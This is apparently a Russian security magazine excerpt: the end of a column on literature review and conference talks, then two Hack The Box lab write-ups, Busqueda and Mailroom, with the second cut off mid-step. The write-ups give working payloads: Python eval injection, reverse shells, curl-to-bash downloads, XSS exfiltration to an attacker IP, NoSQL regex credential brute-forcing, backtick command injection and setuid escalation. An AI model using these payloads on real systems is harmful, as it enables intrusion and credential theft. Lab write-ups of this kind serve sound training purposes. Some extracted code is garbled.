State-of-the-art literature review methodology: A six-step approach for knowledge

synthesis
Об зор, про веден ный методом SOTA, дает отве ты на три воп роса:

1. Где мы находим ся сей час?
2. Как мы сюда попали?
3. Ку да мож но дви гать ся даль ше?

Review/Survey — метод обзо ра литера туры, который, в отли чие от SOTA,
охва тыва ет более широкий хро ноло гичес кий срез и вклю чает в себя
как резуль таты ана лиза SOTA, так и исто ричес кое раз витие объ екта иссле- 
дова ния. Дру гими сло вами, SOTA — это часть Review.

Прис тупай к содер жанию. Наб росок оглавле ния — это уже зна читель ная
часть работы. Веро ятно, у тебя получит ся что-то вро де это го:
1. Вве дение
2. Опи сание проб лемы
3. Об зор сущес тву ющих под ходов к ее решению

3.1. Кри терии срав нения под ходов•
3.2. Срав нение сущес тву ющих под ходов по выб ранным кри тери ям•
3.3. Опре деле ние наибо лее удач ного под хода на осно ве срав нения.
Опи сание его клю чевых огра ниче ний

•

4. Твои вари анты улуч шения выб ранно го под хода
5. Зак лючение

Ес ли у тебя уже есть идеи, то прис тупай к раз делу 4. Чем быс трее ты пой мешь
сос тоятель ность сво его под хода, метода и сис темы иссле дова ния, тем быс- 
трее сфор мулиру ешь цен ность работы. Затем смо жешь оце нить уни каль- 
ность пред ложен ной тобой идеи при под готов ке раз дела 3. И не начинай
писать текст работы с вве дения. Лирику оста вишь на зак лючитель ный этап.

Как толь ко в работе появи лись резуль таты, доказы вающие сос тоятель- 
ность тво ей идеи, уже мож но готовить анно тацию (abstract). Это корот кое (от
одно го до трех абза цев тек ста) опи сание работы, дающее пол ное пред став- 
ление о цели и резуль татах тво его про екта.

Ре зуль таты иссле дова ния получе ны. Абс тракт под готов лен. Теперь тебе
нуж но выб рать кон ферен цию или митап и адап тировать анно тацию иссле- 
дова ния в соот ветс твии с тре бова ниями выб ранно го мероп риятия. Изу чи
информа цию о тре бова ниях орга низа торов к подаче заявок, обыч но они пуб- 
лику ются на отдель ной стра нице.

Как выб рать кон ферен цию, что бы и тема тво ей работы под ходила, и бюд- 
жет на путешес твие был дос тупен? Мож но начать с изу чения ресур са

.cfptime.org
В пер вую оче редь под держи свое локаль ное сооб щес тво. Иног да мес- 

тные мероп риятия могут быть инте рес нее и теп лее, чем меж дународ ные
и гло баль ные тусов ки. Об этом я уже рас ска зывал в .дру гом выпус ке колон ки

Вы бирай мес тную кон ферен цию. Учас твуй, собирай отзы вы, затем совер- 
шенс твуй свое иссле дова ние и подавай заяв ку на учас тие в мероп риятии
поболь ше. Иссле дуй, выс тупай, обновляй, пов торяй.

Как под готовить хорошую заяв ку на док лад? Луч ше узнать у опыт ных чле- 
нов комис сии, которая рас смат рива ет заяв ки. К при меру, орга низа торы кон- 
ферен ции Security Analysts Summit пос вятили  под готов ке качес- 
твен ного абс трак та.

це лый тред

По чему учас тни ки дол жны посетить имен но твой док лад? Запиши ответ.
Най ди опыт ного чле на комис сии, который может дать цен ный совет
по поводу тво его док лада или хотя бы тек ста заяв ки.

И напос ледок: опре дели стра теги чес кую цель сво его иссле дова ния. При- 
мер пло хой пос танов ки цели: «получе ние и совер шенс тво вание навыков экс- 
плу ата ции XSS». Хорошая цель: «обна ружить резуль таты воз дей ствия XSS
в сис темах, которые ранее не под верга лись XSS-ата кам». То есть во вто ром
слу чае — син тез ста рой проб лемы с новым кон тек стом.

Ес ли твое иссле дова ние выяви ло проб лему, пом ни об ответс твен ности.
Опи ши решение, дай рекомен дации, помоги всем заин тересо ван ным сто- 
ронам. Ты дела ешь про ект не для того, что бы еще раз показать, что этот мир
несовер шенен.

«Преж де все го — не нав реди».

https://t.me/makrushin
https://xakep.ru/contact/
https://blog-assets.f-secure.com/wp-content/uploads/2017/04/16192158/ransomware-timeline-2010-20171.png
https://threatpost.com/ransomware-volumes-record-highs-2021/168327/
https://securityintelligence.com/x-force/analysis-of-ransomware/
https://www.statista.com/statistics/1275029/length-of-downtime-after-ransomware-attack/
https://www.cloudwards.net/ransomware-statistics/
https://www.researchgate.net/
https://scholar.google.com/
https://link.springer.com/article/10.1007/s40037-022-00725-9
https://www.cfptime.org/home
https://xakep.ru/2017/02/01/best-5-ib-conferences/
https://twitter.com/TheSAScon/status/1195404455673548807


ЭКСПЛУАТИРУЕМ БАГ 
В ПРИЛОЖЕНИИ НА PYTHON,

ЧТОБЫ ЗАХВАТИТЬ ВЕБ-СЕРВЕР

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

На чав про хож дение этой машины с базово- 
го ауди та сер виса, мы най дем уяз вимость
в нем, получим дос туп к сер веру и обна- 
ружим на нем кри тичес ки важ ные дан ные.
Для повыше ния при виле гий получим дос туп
к внут ренне му Gitea и най дем воз можность
внед рения команд в про ект.

На ша цель — зах ват рута на тре ниро воч ной машине Busqueda с пло щад ки
. Уро вень слож ности — лег кий.Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.208    busqueda.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел все го два откры тых пор та:
22 — служ ба OpenSSH 8.9p1;•
80 — веб-сер вер Apache 2.4.52.•

В отче те Nmap видим, что в заголов ке  про писан редирект
на домен , который тоже сра зу добав ляем в .

http-title
searcher.htb /etc/hosts

10.10.11.208    busqueda.htb searcher.htb 

Те перь можем перей ти к самому сай ту .searcher.htb

ÒÎ×ÊÀ ÂÕÎÄÀ
На сай те находим помет ку Powered by, которая ука зыва ет, что мы име ем дело
с чем-то под наз вани ем .Searchor 2.4.0

Глав ная стра ница сай та

На ходим исходни ки этой прог раммы на GitHub, откры ваем исто рию изме- 
нений и видим, что в вер сии 2.4.2 была запат чена некая уяз вимость.

Ис тория вер сий на GitHub

На ша задача — узнать, что имен но было изме нено и мож но ли исполь зовать
баг для ата ки.

ÒÎ×ÊÀ ÎÏÎÐÛ
От кры ваем , в котором была исправ лена уяз вимость, и изу чаем изме- 
нения.

ком мит

Ис ходный код — файл main.py

Ви дим, что поль зователь ский ввод встав ляет ся в шаб лон и переда ется в фун- 
кцию . Эта фун кция выпол няет передан ный ей в стро ке код на Python.

Поп робу ем про экс плу ати ровать уяз вимость внед рения кода с помощью наг- 
рузок из . Не забыва ем закоди ровать наг рузку
в кодиров ку URL (в  дос таточ но нажать Ctrl-U).

eval

статьи Май кла Элка на
Burp Suite

x range 1 :' eval(compile('for in ( ) \n import os\n os.system("id")','',
'single')) '

Вы пол нение коман ды id

Ко ман да  успешно сра бота ла. Давай теперь закинем реверс-шелл

на Python 3.

id

 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.
AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.99",4321));os.dup2(
s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import 
pty; pty.spawn("sh")'

Нап рямую выпол нить эту коман ду не выш ло, поэто му исполь зуем обходной
путь. Сох раним наш шелл в файл и в той же пап ке запус тим веб-сер вер
коман дой . Теперь на уда лен ном сер вере ска- 

чива ем наш файл с помощью  и переда ем его содер жимое на выпол- 

нение в коман дную обо лоч ку Bash. Пред варитель но запус каем лис тенер
. И таким обра зом получа ем дос туп к сис теме и флаг поль зовате- 

ля.

python3 -m http.server 80
curl

pwncat-cs

1 %3a'%2beval(compile('for+x+in+range( ) \n+import+os\n+os.system(
"curl+http%3a//10.10.14.99/rs|bash")','','single'))%2b'

Флаг поль зовате ля

ÏÐÎÄÂÈÆÅÍÈÅ
Те перь нам необ ходимо соб рать информа цию. Я буду исполь зовать для это- 
го скрип ты PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux. Для это го в  исполь зуем ком- 

бинацию кла виш Ctrl-D (выход в глав ное меню) и коман ду  для заг- 

рузки фай ла. Затем воз вра щаем ся в шелл коман дой , даем пра во

на выпол нение нашему скрип ту ( ) и запус каем ска- 
ниро вание. В выводе будет очень мно го информа ции, поэто му отбе рем толь- 
ко зна чимую.

pwncat-cs
upload

back
chmod +x linpeas.sh

В фай ле  отме чаем запись ./etc/hosts gitea.searcher.htb

Име на хос тов и DNS-име на

Сре ди прос лушива емых пор тов находим порт для служ бы MySQL (порт 3306)
и Gitea (3000).

Прос лушива емые пор ты

Нас трой ки sudoers дос тупны толь ко при вво де пароля.

Вы вод коман ды sudo -l

А в домаш нем катало ге поль зовате ля находим типич ный для Gitea файл с нас- 
трой ками , который час то содер жит учет ные дан ные.~/.git/config

Фай лы в кор невых катало гах дру гих поль зовате лей

Смот рим кон фиг  и находим учет ные дан ные,

которые под ходят для поль зовате ля .

/var/www/app/.git/config
svc

Со дер жимое фай ла /var/www/app/.git/cong

Сес сия поль зовате ля svc

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Ав торизо вав шись от име ни svc, перей дем к нас трой кам sudoers, которые
в дан ном слу чае мож но получить, толь ко вве дя пароль поль зовате ля.

 sudo -l

Нас трой ки sudoers

Файл  в Linux содер жит спис ки команд, которые раз ные груп пы
поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

Как видишь, мы можем выпол нить коман ду 
 от име ни поль зовате ля . Получить

содер жимое это го скрип та не вый дет, так как чте ние дос тупно толь ко
для супер поль зовате ля, а всем осталь ным раз решено толь ко выпол нение
скрип та.

/usr/bin/python3 /opt/
scripts/system-checkup.py * root

Пра ва фай ла system-checkup.py

По лучить исходник скрип та не уда лось, так что давай поп робу ем порабо тать
с ним самим. Вдруг коман да  выдаст нам что-то полез ное?help

sudo /usr/bin/python3 /opt/scripts/system-checkup.py *

Ме ню help скрип та system-checkup.py

Итак, нам дос тупны извес тные коман ды Docker:  и . Поп робу ем

получить спи сок запущен ных кон тей неров.

ps inspect

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps 

За пущен ные кон тей неры Docker

Ви дим два кон тей нера:  и . Получим их кон фиги, ука зав
параметр .

gitea mysql_db
docker-inspect

sudo python3 /opt/scripts/system-checkup.py docker-inspect --format=
'{{json .Config}}' gitea 

sudo python3 /opt/scripts/system-checkup.py docker-inspect --format=
'{{json .Config}}' mysql_db 

Кон фигура ции запущен ных докер-кон тей неров

В нас трой ках докер-кон тей нера  находим пароли для MySQL и сер- 

виса Gitea. Давай получим дос туп Gitea. Для это го сна чала добавим запись
в файл .

mysql_db

/etc/hosts

127.0.0.1 gitea.searcher.htb 

Те перь нуж но будет проб росить порт 3000 на свой хост с помощью SSH.

ssh svc@busqueda.htb -L 3000:127.0.0.1:3000 

Те перь весь тра фик, который мы отпра вим на локаль ный порт 3000, будет
тун нелиро ван на порт 3000 ука зан ного хос та (в дан ном слу чае 127.0.0.1)
через SSH-хост.

Глав ная стра ница Gitea

Те перь мы можем авто ризо вать ся с най ден ным паролем от име ни поль- 
зовате ля  и получить дос туп к зак рытому репози торию

.

administrator
scripts

Дос тупные репози тории

В репози тории обна ружи ваем уже зна комый нам скрипт, к коду которо го мы
рань ше не смог ли получить дос туп.

Фай лы в про екте scripts

Ана лизи руя исходный код, обра щаем вни мание на тре тий, не исполь зован- 
ный нами ранее параметр — .full-checkup

Ис ходный код скрип та

С клю чом  скрипт выпол нит файл  в текущем

катало ге. А это путь к выпол нению про изволь ного кода. Мы можем перей ти
в каталог с пра вом на запись, к при меру , и соз дать в нем скрипт

, который наз начит S-бит фай лу коман дной обо лоч ки 

.

full-checkup full-checkup.sh

/dev/shm
full-checkup.sh /bin/
bash

#!/bin/bash
chmod +s /bin/bash 

За тем выпол ним коман ду, которая запус тит наш скрипт.

/opt/scripts/system-checkup.py full-checkup 

Экс плу ата ция уяз вимос ти

Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла- 
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные
сис темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

/bin/bash -p

Флаг рута

У нас есть дос туп от име ни рута, а зна чит, машина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/ArjunSharda/Searchor
https://github.com/ArjunSharda/Searchor/pull/130/files
https://sethsec.blogspot.com/2016/11/exploiting-python-code-injection-in-web.html
https://github.com/calebstewart/pwncat
https://github.com/carlospolop/PEASS-ng


ЭКСПЛУАТИРУЕМ NOSQL-
ИНЪЕКЦИЮ ЧЕРЕЗ ЦЕПОЧКУ
УЯЗВИМОСТЕЙ XSS И SSRF

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе я покажу сра зу нес коль ко
видов атак на веб-при ложе ния: мы про экс- 
плу ати руем XSS и SSRF, затем про ведем
инъ екцию NoSQL, а получив дос туп к скры- 
тому сай ту, най дем уяз вимость внед рения
команд и обой дем филь тр, что бы получить
RCE. Закон чим трей син гом поль зователь- 
ско го про цес са в Linux для перех вата вво- 
димо го в KeePass пароля.

Уп ражнять ся в этом нам поможет тре ниро воч ная машина слож ного уров ня
Mailroom с пло щад ки .Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.209    mailroom.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел все го два откры тых пор та: 22 — служ ба OpenSSH 8.2p1 и 80 —
веб-сер вер Apache 2.4.54. Начина ем, как всег да, с веб-сер вера.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ
XSS
На сай те есть фор ма свя зи с адми нис тра тором. Про веря ем, нет ли тут уяз- 
вимос ти XSS, и в ответ при ходит ссыл ка на стра ницу с сооб щени ем.

Фор ма свя зи с адми нис тра тором

Ре зуль тат отправ ки сооб щения

Пе рехо дим по этой ссыл ке и получа ем отправ ленный нами .alert

Ре зуль тат выпол нения кода

Так мы под твер дили наличие XSS, теперь нуж но рас ширить область тес- 
тирова ния. Для это го перей дем к ска ниро ванию катало гов и дру гих под- 
доменов.

Ñêàíèðîâàíèå âåá-êîíòåíòà
Ска ниро вание катало гов ничего не дало, поэто му перехо дим к ска ниро ванию
под доменов. Новые сай ты откро ют новую область для тес тирова ния, а следс- 
твен но, и боль ше потен циаль ных точек вхо да.

Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — URL;• -u

 — заголо вок HTTP.• -H

Мес то перебо ра помеча ется сло вом FUZZ.

За пус каем перебор:

ffuf  
256  

-u http://mailroom.htb -w subdomains-top1million-110000.txt -t
-H 'Host: FUZZ.mailroom.htb'

Ре зуль тат ска ниро вания под доменов с помощью ffuf

Но в вывод попада ют все вари анты из сло варя, поэто му уста новим филь тр
(параметр ), который уби рает из вывода все стра ницы с раз- 

мером 7748 байт.

-fs

ffuf  
256   

-u http://mailroom.htb/ -w subdomains-top1million-110000.txt -t
-H 'Host: FUZZ.mailroom.htb' -fs 7748 

Ре зуль тат ска ниро вания под доменов с помощью ffuf

Так находим еще один сайт . Давай обно вим запись в фай- 

ле  и прос мотрим сайт.

git.mailroom.htb
/etc/hosts

10.10.11.209 mailroom.htb git.mailroom.htb 

Глав ная стра ница сай та

Нас встре чает плат форма Gitea, ана лог GitHub для уста нов ки на свой сер вер.

Gitea
Пос мотрим, какие есть репози тории и поль зовате ли.

Дос тупные репози тории Gitea

Дос тупные поль зовате ли Gitea

Нам дос тупен все го один про ект — . Фай лы из него тоже нуж но
про ана лизи ровать.

staffroom

Со дер жимое про екта staffroom

При ложе ние написа но на PHP и, воз можно, хос тится на той же машине.
Поэто му вни матель но смот рим исходни ки и выбира ем бло ки кода для более
под робно го ана лиза. Естес твен но, заод но ищем учет ные дан ные и новые
адре са.

Так файл  рас кры вает нам новый под домен.auth.php

Ис ходный код auth.php

А в фай ле  вызыва ется опас ная фун кция , в которую

переда ются заранее отфиль тро ван ные поль зователь ские дан ные.

inspect.php shell_exec

Ис ходный код inspect.php

До бав ляем най ден ное домен ное имя в файл  и смот рим новый
сайт.

/etc/hosts

10.10.11.209 mailroom.htb git.mailroom.htb staff-review-panel.
mailroom.htb 

Бан нер веб-сер вера

Этот сайт зак рыт от пос торон них глаз, поэто му поп робу ем получить дос туп
к нему нем ного дру гим путем.

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists


ЭКСПЛУАТИРУЕМ NOSQL-ИНЪЕКЦИЮ ЧЕРЕЗ
ЦЕПОЧКУ УЯЗВИМОСТЕЙ XSS И SSRF

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ
XSS
Мы уже наш ли уяз вимость XSS, теперь нуж но ее рас кру тить. Выложим на свой
веб-сер вер файл, который будет содер жать код JavaScript, в качес тве тес та
выпол няющий зап рос на наш сер вер.

fetch("http://10.10.14.119/xss_test");

А в отправ ляемой наг рузке будем ука зывать этот файл как источник кода бло- 
ка .script

<script src="http://10.10.14.119/expl.js"></script>

Фор ма свя зи с адми нис тра тором

Ло ги веб-сер вера

И в логах веб-сер вера видим обра щение — сна чала к фай лу с наг рузкой,
а потом как под твержде ние выпол ненно го кода на JavaScript.

XSS + SSRF
Те перь поп робу ем эксфиль тро вать глав ную стра ницу зак рытого сай та.
Для это го в исполня емом коде на JavaScript будем зап рашивать уда лен ный
сайт, а ответ сер вера будем кодиро вать в Base64 и переда вать в качес тве
парамет ра при вто ром зап росе на свой сер вер.

    var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://staff-review-panel.mailroom.htb/index.php',

true);
 xhr.setRequestHeader('Content-type', 'application/

x-www-form-urlencoded');
   xhr.onreadystatechange = function() {

      if (xhr.readyState == XMLHttpRequest.DONE) {
        fetch("http://10.10.14.119/?" + encodeURI(btoa(this.

responseText)));
  }
};
xhr.send(null);

Ло ги веб-сер вера

Те перь декоди руем стро ку Base64, записы ваем в файл и откры ваем через
бра узер. Нас встре чает фор ма авто риза ции сай та.

Фор ма авто риза ции

XSS + SSRF + NoSQL Injection
Вво димые логин и пароль отправ ляют ся на стра ницу , исходный код

которой мы можем пос мотреть в репози тории. Так мы опре деля ем, что
исполь зует ся NoSQL СУБД MongoDB. Заод но узна ем, что получен ные зна- 
чения не про веря ются, а это нап рямую ведет к NoSQL-инъ екции.

auth.php

Ис ходный код auth.php

Пе репи шем наг рузку, что бы она отправ ляла логин и пароль, получа ла ответ
от сер вера и отправ ляла его на наш веб-сер вер. В ито ге получа ем сооб- 
щение о том, что логин и пароль невалид ны.

    var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://staff-review-panel.mailroom.htb/auth.php',

true);
 xhr.setRequestHeader('Content-type', 'application/

x-www-form-urlencoded');
   xhr.onreadystatechange = function() {

      if (xhr.readyState == XMLHttpRequest.DONE) {
        fetch("http://10.10.14.119/?" + encodeURI(btoa(this.

responseText)));
  }
};
xhr.send("email=ralf123@ralf.com&password=ralf123");

От вет сер вера

А теперь поп робу ем про экс плу ати ровать NoSQL-инъ екцию. К при меру, если
к име ни поль зовате ля добавить , то вмес те с сим волами  база дан ных
вос при мет это как опе ратор «не рав но». А зна чит, сле дующий зап рос с неп- 
равиль ными име нем поль зовате ля и паролем прой дет про вер ку и вер нет нам
дру гой ответ.

[$ne] =

    var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://staff-review-panel.mailroom.htb/auth.php',

true);
 xhr.setRequestHeader('Content-type', 'application/

x-www-form-urlencoded');
   xhr.onreadystatechange = function() {

      if (xhr.readyState == XMLHttpRequest.DONE) {
        fetch("http://10.10.14.119/?" + encodeURI(btoa(this.

responseText)));
  }
};
xhr.send("email[$ne]=toto&password[$ne]=toto");

От вет сер вера

В отве те ска зано, что исполь зует ся двух фактор ная аутен тифика ция и код
отправ лен на поч товый ящик. Таким обра зом мы получа ем ответ, к которо му
нуж но стре мить ся, и можем посим воль но переб рать сна чала логин, а затем
и пароль. Для перебо ра пер вого парамет ра будем исполь зовать сле дующий
зап рос.

    <script>var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://staff-review-panel.mailroom.htb/auth.php',

true);
 xhr.setRequestHeader('Content-type', 'application/

x-www-form-urlencoded');
   xhr.onreadystatechange = function() {

          if (xhr.readyState == XMLHttpRequest.DONE) {
                if (/"success":true/.test(this.responseText)) {

                      fetch("http://10.10.14.119/a");
              }
      }
}
xhr.send("email[$regex]=.*a@mailroom.htb&password[$ne]=toto");
</script>

Пос ледова тель ность  здесь говорит срав нить при помощи

регуляр ного выраже ния имя поль зовате ля с любым количес твом любых сим- 
волов. Но идея в том, что бы под став лять в конец регуляр ного выраже ния
сим вол (в при мере исполь зуем ) — про вер ка будет прой дена и наг рузка
выпол нит зап рос толь ко тог да, ког да имя поль зовате ля будет окан чивать ся
таким сим волом. Узнав пос ледний сим вол име ни поль зовате ля, будем
получать пред послед ний и так далее до пер вого. Для перебо ра сим волов я
исполь зую  с задер жкой 30 секунд меж ду зап росами.

email[$regex]=.*

a

Burp Intruder

Burp Intruder — вклад ка Positions

Burp Intruder — вклад ка Payloads

Спус тя нес коль ко минут в логах нашего веб-сер вера видим зап рос с желан- 
ным сим волом.

Ло ги веб-сер вера

Пос ледний сим вол име ни поль зовате ля — , а зна чит, мы идем в вер ном нап- 

равле нии и будем переби рать пред послед ний. Для это го меня ем зап рос
в Burp Intruder, запус каем перебор и наб люда ем за логами веб-сер вера.

n

Ло ги веб-сер вера

По лучи ли пред послед ний сим вол. Переби рая далее, доходим до момен та,
ког да имя поль зовате ля ни с одним новым сим волом не ини циирует зап рос,
а имя поль зовате ля все рав но не под ходит.

Ло ги веб-сер вера

Тог да уби раем из зап роса регуляр ное выраже ние и под бира ем пос ледний
сим вол обыч ным ска ниро вани ем (мес то перебо ра отме чено как ).$$

xhr.send("email=$$ristan@mailroom.htb&password[$ne]=toto");

Ло ги веб-сер вера

По луча ем имя поль зовате ля, которо го находи ли сре ди поль зовате лей Gitea.
Теперь будем переби рать пароль. Так как в пароле могут исполь зовать ся
не толь ко бук вы и циф ры, но и любые сим волы, то пер вым делом под берем
его дли ну — тоже в Burp Intruder.

xhr.send("email=tristan@mailroom.htb&password[$regex]=.{1}");
...
xhr.send("email=tristan@mailroom.htb&password[$regex]=.{20}");

Ло ги веб-сер вера

По луча ем дли ну пароля, а теперь уже исполь зован ным спо собом переби- 
раем и пароль.

xhr.send("email=tristan@mailroom.htb&password[$regex]=.*$$");

Ло ги веб-сер вера

У нас есть имя поль зовате ля и пароль. Про буем при менить их на всех дос- 
тупных сер висах и авто ризу емся на SSH.

Сес сия поль зовате ля

Продолжение статьи →



ЭКСПЛУАТИРУЕМ NOSQL-ИНЪЕКЦИЮ ЧЕРЕЗ
ЦЕПОЧКУ УЯЗВИМОСТЕЙ XSS И SSRF

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÏÐÎÄÂÈÆÅÍÈÅ
Ñëóæáà www-data
Те перь нам необ ходимо соб рать информа цию. Я буду исполь зовать для это- 
го скрип ты PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Во-пер вых, находим файл KeePass.

Спи сок фай лов KeePass

Во-вто рых, в домаш нем катало ге поль зовате ля  обна ружи ваем поль- 

зовате ля .

matthew
.kpcli-history

Фай лы рута в дру гих поль зователь ских катало гах

Так же пом ним про внут ренний сайт, к которо му мы получа ли дос туп через
XSS. Порабо таем с этим сай том, для чего про кинем порт на свой хост через
SSH.

ssh -i id_rsa tristan@mailroom.htb -L 80:127.0.0.1:80 

Та ким обра зом весь тра фик, который мы пош лем на локаль ный порт 80, будет
тун нелиро ван на порт 80 ука зан ного хос та (в дан ном слу чае 127.0.0.1) через
SSH-хост. Обно вим запись в фай ле  и откро ем сайт./etc/hosts

127.0.0.1 staff-review-panel.mailroom.htb 

Стра ница авто риза ции сай та

Ав торизу емся с получен ными ранее учет ными дан ными и видим сооб щение,
что токен для двух фактор ной аутен тифика ции отправ лен на поч ту.

Со обще ние о 2FA

Вхо дящие сооб щения в Linux находят ся в катало ге . Получа ем
ссыл ку с токеном для авто риза ции и заходим на сайт.

/var/mail

cat /var/mail/tristan 

Со обще ния поль зовате ля tristan

Глав ная стра ница сай та

Те перь можем вер нуть ся к фун кции , которую мы уже отме чали.

Фун кция выпол няет передан ную ей коман ду в коман дной обо лоч ке.

shell_exec

Ис ходный код inspect.php

Поль зователь ский ввод под верга ется пред варитель ной филь тра ции, но сре- 
ди пред став ленных сим волов отсутс тву ет сим вол косой кавыч ки. Стро ка
в таких кавыч ках будет вос при нимать ся коман дным интер пре тато ром как вло- 
жен ная коман да, резуль тат которой нуж но вста вить в основную. Зна чит, эта
коман да будет выпол нена пер вой.

За пус каем веб-сер вер:

python3 -m http.server 88 

И для тес та пыта емся обра тить ся к нему с уда лен ного хос та.

curl http://10.10.14.71:88/test_rce 

Вы пол нение коман ды curl

Ло ги веб-сер вера

Ко ман да выпол нена, а зна чит, запус каем лис тенер:

pwncat-cs -lp 4321 

А так же записы ваем в файл на сво ем веб-сер вере реверс-шелл на Python.

 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.
AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.71",4321));os.dup2(
s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import 
pty; pty.spawn("sh")'

А теперь ска чива ем этот скрипт на уда лен ном хос те, наз нача ем пра ва
и выпол няем.

curl http://10.10.14.71:88/rs.sh -o /tmp/rs.sh 
chmod +x /tmp/rs.sh 
/tmp/rs.sh 

Сес сия поль зовате ля www-data

Ïîëüçîâàòåëü matthew
В исходни ках сай та есть каталог . Мы зна ем, что исполь зует ся сер вис

Gitea, а зна чит, в фай ле  могут быть учет ные дан ные для этой сис темы.

.git
config

Со дер жимое катало га сай та

Со дер жимое фай ла .git/cong

По луча ем учет ные дан ные поль зовате ля  и про буем авто ризо вать ся

с ними в сис теме. Так мы меня ем сес сию и получа ем пер вый файл — 

.

matthew
user.

txt

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Мы уже видели фай лы .kpcli и  для работы с менед жером
паролей KeePass. Давай про верим про цес сы поль зовате лей: есть шанс, что
прог рамма запуще на в сис теме.

кон соль ную ути литу

Про цес сы поль зовате ля matthew

Так и есть. Зна чит, мы можем поп робовать отла дить про цесс и получить дос- 
